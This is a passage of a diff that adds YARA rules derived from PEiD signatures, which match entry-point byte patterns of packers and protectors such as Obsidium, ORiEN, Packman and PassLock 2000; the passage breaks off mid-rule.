+        description = "[Obsidium v1.3.0.4 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 01 ?? 33 C0 EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 01 ?? E8 3B 26 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01414_Obsidium_V1_3_0_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.0.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01415_Obsidium_V1_3_0_X____Obsidium_Software___Sign_by_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.0.X -> Obsidium Software ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01416_Obsidium_V1_3_1_1____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.1.1 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01417_Obsidium_V1_3_2_2____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.2.2 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 ?? ?? ?? ?? E8 2A 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 26 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01418_Obsidium_v1_3_3_1____Obsidium_Software__h__
+{
+    meta:
+        description = "[Obsidium v1.3.3.1 -> Obsidium Software (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB}
+    condition:
+        $a
+}
+rule PEiD_01419_Obsidium_V1_3_3_3____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.3 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B ?? 24 0C EB 01 ?? 83 ?? B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_01420_Obsidium_V1_3_3_4____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.4 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
+    condition:
+        $a
+}
+
+rule PEiD_01421_Obsidium_V1_3_3_7____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.3.7 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50}
+    condition:
+        $a
+}
+
+rule PEiD_01422_Obsidium_V1_3_4_2____Obsidium_Software_nbsp___nbsp___Sign_By_fly_
+{
+    meta:
+        description = "[Obsidium V1.3.4.2 -> Obsidium Software&nbsp; &nbsp;* Sign.By.fly]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01423_Obsidium_V1_3_5_0____Obsidium_Software_
+{
+    meta:
+        description = "[Obsidium V1.3.5.0 -> Obsidium Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 ?? ?? ?? E8 ?? ?? ?? ?? EB 02 ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 20 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 ?? ?? ?? ?? EB 01 ?? EB 02 ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01424_Obsiduim_1_3_0_4____Obsiduim_Software_
+{
+    meta:
+        description = "[Obsiduim 1.3.0.4 -> Obsiduim Software]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+    condition:
+        $a
+}
+
+rule PEiD_01425_ocBat2Exe_1_0____OC_
+{
+    meta:
+        description = "[ocBat2Exe 1.0 -> OC]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01426_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0}
+    condition:
+        $a
+}
+
+rule PEiD_01427_Open_Source_Code_Crypter____p0ke_
+{
+    meta:
+        description = "[Open Source Code Crypter -> p0ke]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_01428_ORiEN_2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN 2.11 (DEMO)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01429_ORiEN_2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN 2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "false"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01430_ORiEN_V1_X_V2_X____Fisun_A_V____Sign_by_fly_
+{
+    meta:
+        description = "[ORiEN V1.X-V2.X -> Fisun A.V. ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_01431_ORiEN_v2_11__DEMO__
+{
+    meta:
+        description = "[ORiEN v2.11 (DEMO)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01432_ORiEN_v2_11___2_12____Fisun_Alexander_
+{
+    meta:
+        description = "[ORiEN v2.11 - 2.12 -> Fisun Alexander]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+    condition:
+        $a
+}
+
+rule PEiD_01433_ORiEN_V2_12____Fisun_A_V__
+{
+    meta:
+        description = "[ORiEN V2.12 -> Fisun A.V.]"
+        ep_only = "true"
+    strings:
+        $a = {E9 5D 01 00 00 CE D1 CE CD 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01434_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a
+}
+
+rule PEiD_01435_Pack_Master_v1_0_
+{
+    meta:
+        description = "[Pack Master v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+    condition:
+        $a
+}
+
+rule PEiD_01436_Packanoid____Arkanoid_
+{
+    meta:
+        description = "[Packanoid -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8}
+    condition:
+        $a
+}
+
+rule PEiD_01437_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01438_Packanoid_1_0____ackanoid_
+{
+    meta:
+        description = "[Packanoid 1.0 -> ackanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C}
+    condition:
+        $a
+}
+
+rule PEiD_01439_Packanoid_v1____Arkanoid_
+{
+    meta:
+        description = "[Packanoid v1 -> Arkanoid]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+    condition:
+        $a
+}
+
+rule PEiD_01440_Packed_with__PKLITE_v1_50_with_CRC_check__1__
+{
+    meta:
+        description = "[Packed with? PKLITE v1.50 with CRC check (1)]"
+        ep_only = "true"
+    strings:
+        $a = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+rule PEiD_01441_PackItBitch_1_0____archphase_
+{
+    meta:
+        description = "[PackItBitch 1.0 -> archphase]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01442_PackItBitch_V1_0___archphase___Sign_by_fly_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01443_PackItBitch_V1_0___archphase_
+{
+    meta:
+        description = "[PackItBitch V1.0-> archphase]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+    condition:
+        $a
+}
+
+rule PEiD_01444_Packman_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? FE FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01445_Packman_0_0_0_1____Bubbasoft__h__
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft (h)]"
+        ep_only = "false"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 00 ?? ?? B8 00 ?? ?? 00 0B C0 74 34 03 C3 EB 2A 8D 70 08 03 40 04 33 ED 33 D2 66 8B 2E 66 0F A4 EA 04 80 FA 03 75 0D 81 E5 FF 0F 00 00 03 EF 03 EB 01 4D 00 46 46 3B F0 75 DC 8B 38 85 FF 75 D0 61 E9 ?? FE FF FF 02 D2 75 05 8A 16 46 12 D2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01446_Packman_0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman 0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+    condition:
+        $a
+}
+
+rule PEiD_01447_Packman_Executable_Image_Packer_0_0_0_1____bubba_
+{
+    meta:
+        description = "[Packman Executable Image Packer 0.0.0.1 -> bubba]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF}
+    condition:
+        $a
+}
+
+rule PEiD_01448_Packman_V0_0_0_1____Bubbasoft_
+{
+    meta:
+        description = "[Packman V0.0.0.1 -> Bubbasoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+    condition:
+        $a
+}
+
+rule PEiD_01449_Packman_V1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman V1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA}
+    condition:
+        $a
+}
+
+rule PEiD_01450_Packman_v1_0____Brandon_LaCombe_
+{
+    meta:
+        description = "[Packman v1.0 -> Brandon LaCombe]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01451_PACKWIN_v1_01p_
+{
+    meta:
+        description = "[PACKWIN v1.01p]"
+        ep_only = "true"
+    strings:
+        $a = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01452_PAK_SFX_Archive_
+{
+    meta:
+        description = "[PAK-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+    condition:
+        $a
+}
+
+rule PEiD_01453_PassEXE_v2_0_
+{
+    meta:
+        description = "[PassEXE v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A}
+    condition:
+        $a
+}
+
+rule PEiD_01454_PassLock_2000_1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24}
+    condition:
+        $a
+}
+
+rule PEiD_01455_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+    condition:
+        $a
+}
+
+rule PEiD_01456_PassLock_2000_v1_0__Eng_____Moonlight_Software_
+{
+    meta:
+        description = "[PassLock 2000 v1.0 (Eng) -> Moonlight-Software]"
+        ep_only = "true"
+    strings:
